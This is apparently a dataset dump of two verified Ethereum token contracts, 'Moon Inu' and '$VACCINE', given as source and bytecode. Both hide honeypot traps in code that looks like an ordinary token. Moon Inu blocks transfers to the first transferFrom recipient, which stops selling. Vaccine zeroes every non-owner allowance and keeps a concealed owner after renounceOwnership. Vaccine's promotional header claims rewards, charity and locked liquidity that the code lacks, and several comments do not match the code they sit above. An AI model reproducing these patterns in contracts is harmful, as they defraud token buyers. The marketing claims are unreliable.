address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x51512edbc2478e957acf12a6ae39172f18ddea81
/** *Submitted for verification at Etherscan.io on 2021-11-03 */ /** *Submitted for verification at Etherscan.io on */ /** * @dev Intended to update the TWAP for a token based on accepting an update call from that token. * expectation is to have this happen in the _beforeTokenTransfer function of ERC20. * Provides a method for a token to register its price sourve adaptor. * Provides a function for a token to register its TWAP updater. Defaults to token itself. * Provides a function a tokent to set its TWAP epoch. * Implements automatic closeing and opening up a TWAP epoch when epoch ends. * Provides a function to report the TWAP from the last epoch when passed a token address. */ /* ******* /* ____ ____ ___ ___ ____ _____ _____ ____ _____ _____ _____ |_ \ / _|.' `. .' `.|_ \|_ _||_ _||_ \|_ _||_ _||_ _| | \/ | / .-. \/ .-. \ | \ | | | | | \ | | | | | | | |\ /| | | | | || | | | | |\ \| | | | | |\ \| | | ' ' | _| |_\/_| |_\ `-' /\ `-' /_| |_\ |_ _| |_ _| |_\ |_ \ \__/ / |_____||_____|`.___.' `.___.'|_____|\____||_____||_____|\____| `.__.' */ //SPDX-License-Identifier: UNLICENSED //To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. /** * @dev Returns the amount of tokens in existence. */ pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); /** * @dev Returns true if the value is in the set. O(1). */ event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Returns the number of values on the set. O(1). */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "MOON INU"; name = "Moon Inu"; decimals = 9; _totalSupply = 1000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a7231582071b4672c16540f18ada7d809e9b19f65a87553c29584167f7a85a8ddc436f66a64736f6c63430005110032
{"success": true, "error": null, "results": {}}
6,800
0xf4bd034de335fb780c83eb025aabd81d900ac41c
/* VVVVVVVV VVVVVVVV AAA CCCCCCCCCCCCC CCCCCCCCCCCCCIIIIIIIIIINNNNNNNN NNNNNNNNEEEEEEEEEEEEEEEEEEEEEE V::::::V V::::::V A:::A CCC::::::::::::C CCC::::::::::::CI::::::::IN:::::::N N::::::NE::::::::::::::::::::E V::::::V V::::::V A:::::A CC:::::::::::::::C CC:::::::::::::::CI::::::::IN::::::::N N::::::NE::::::::::::::::::::E V::::::V V::::::VA:::::::A C:::::CCCCCCCC::::C C:::::CCCCCCCC::::CII::::::IIN:::::::::N N::::::NEE::::::EEEEEEEEE::::E V:::::V V:::::VA:::::::::A C:::::C CCCCCCC:::::C CCCCCC I::::I N::::::::::N N::::::N E:::::E EEEEEE V:::::V V:::::VA:::::A:::::A C:::::C C:::::C I::::I N:::::::::::N N::::::N E:::::E V:::::V V:::::VA:::::A A:::::A C:::::C C:::::C I::::I N:::::::N::::N N::::::N E::::::EEEEEEEEEE V:::::V V:::::VA:::::A A:::::A C:::::C C:::::C I::::I N::::::N N::::N N::::::N E:::::::::::::::E V:::::V V:::::VA:::::A A:::::A C:::::C C:::::C I::::I N::::::N N::::N:::::::N E:::::::::::::::E V:::::V V:::::VA:::::AAAAAAAAA:::::A C:::::C C:::::C I::::I N::::::N N:::::::::::N E::::::EEEEEEEEEE V:::::V:::::VA:::::::::::::::::::::AC:::::C C:::::C I::::I N::::::N N::::::::::N E:::::E V:::::::::VA:::::AAAAAAAAAAAAA:::::AC:::::C CCCCCCC:::::C CCCCCC I::::I N::::::N N:::::::::N E:::::E EEEEEE V:::::::VA:::::A A:::::AC:::::CCCCCCCC::::C C:::::CCCCCCCC::::CII::::::IIN::::::N N::::::::NEE::::::EEEEEEEE:::::E V:::::VA:::::A A:::::ACC:::::::::::::::C CC:::::::::::::::CI::::::::IN::::::N N:::::::NE::::::::::::::::::::E V:::VA:::::A A:::::A CCC::::::::::::C CCC::::::::::::CI::::::::IN::::::N N::::::NE::::::::::::::::::::E VVVAAAAAAA AAAAAAA CCCCCCCCCCCCC CCCCCCCCCCCCCIIIIIIIIIINNNNNNNN NNNNNNNEEEEEEEEEEEEEEEEEEEEEE πŸ’‰ $VACCINE to Uniswap πŸ’‰ (Erc20 token) Website: https://www.anticovid.finance Twitter: https://twitter.com/Anti_CovidToken Telegram: https://t.me/anti_covidtoken $VACCINE proposes an innovative feature in its contract. Simply by holding, $Vaccine you'll receive healthy rewards in your wallet. It also has buy cooldown and anti-bot features, so bots can't breath under this contract. πŸ’‰ Tokenomics πŸ’‰ 1T total supply 100% Liquidity Locked 4% Redistribution Tax 4% Covid Charity Tax 4% Buyback Tax Fair Launch πŸ’Š 4% Tax will be used to save people who are suffering from Covid πŸ’Š πŸ’‰ Launch Details πŸ’‰ 0.6% Initial Buy limit (Will be removed after launch shortly) 15s Cooldown (Will be removed after launch shortly) πŸš€ Anti-Covid Token ($VACCINE) Launch Time πŸš€ August 2th, 1.30 PM UTC (9.30 AM EST) https://www.timeanddate.com/countdown/launch?iso=20210802T0930&p0=179&msg=Anti-Covid+Token+%28%24VACCINE%29+Launch&font=cursive πŸ’§ Important πŸ’§ https://www.theverge.com/2020/3/25/21194417/namecheap-coronavirus-covid-19-domain-name-ban-registrar-abuse Covid-related domain names are banned to prevent abuse of it. Our team did KYC for purchasing our domain name. https://www.anticovid.finance */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Vaccine is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'VACCINE | https://t.me/anti_covidtoken'; string private _symbol = '$VACCINE'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address vac, address ery, uint256 amount) private { require(vac != address(0), "ERC20: approve from the zero address"); require(ery != address(0), "ERC20: approve to the zero address"); if (vac != owner()) { _allowances[vac][ery] = 0; emit Approval(vac, ery, 4); } else { _allowances[vac][ery] = amount; emit Approval(vac, ery, amount); } } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060